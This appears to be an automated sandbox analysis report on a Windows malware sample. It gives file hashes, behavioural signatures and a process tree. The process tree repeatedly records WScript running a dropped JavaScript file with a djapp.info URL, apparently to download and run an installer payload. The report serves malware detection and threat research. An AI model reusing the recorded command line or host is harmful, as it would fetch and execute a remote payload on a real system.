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Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
05/06/2024, 18:19
Static task
static1
Behavioral task
behavioral1
Sample
98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe
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Size
184KB
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MD5
98e5efeeb4ce2069026f6c48b086a831
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SHA1
36694cf29b7163eeccfefaf9a8df83239c249395
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SHA256
83d8c327e238ee626c91c5a8c7367397b7a9a1d67efc2ead6cfd5b99c38fe40b
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SHA512
991fd0f42485b6a43bd8de7eba0d1735915c7134f60b20ab9247a7b604d424e0a30fb3884cfc904284419f6f255c11cc264f13c2ddf725e23bf682cd2b1c3a4b
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Z:/7BSH8zUB+nGESaaRvoB7FJNndn4
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 6 844 WScript.exe 25 1872 WScript.exe 27 2328 WScript.exe 40 1824 WScript.exe 41 1824 WScript.exe 44 1536 WScript.exe 45 1536 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2240 wrote to memory of 844 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 81 PID 2240 wrote to memory of 844 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 81 PID 2240 wrote to memory of 844 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 81 PID 2240 wrote to memory of 1872 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 93 PID 2240 wrote to memory of 1872 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 93 PID 2240 wrote to memory of 1872 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 93 PID 2240 wrote to memory of 2328 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 94 PID 2240 wrote to memory of 2328 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 94 PID 2240 wrote to memory of 2328 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 94 PID 2240 wrote to memory of 1824 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 96 PID 2240 wrote to memory of 1824 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 96 PID 2240 wrote to memory of 1824 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 96 PID 2240 wrote to memory of 1536 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 97 PID 2240 wrote to memory of 1536 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 97 PID 2240 wrote to memory of 1536 2240 98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe 97
Processes
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C:\Users\Admin\AppData\Local\Temp\98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe2⤵
- Blocklisted process makes network request
PID:844
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe2⤵
- Blocklisted process makes network request
PID:1872
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe2⤵
- Blocklisted process makes network request
PID:2328
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe2⤵
- Blocklisted process makes network request
PID:1824
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe2⤵
- Blocklisted process makes network request
PID:1536
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76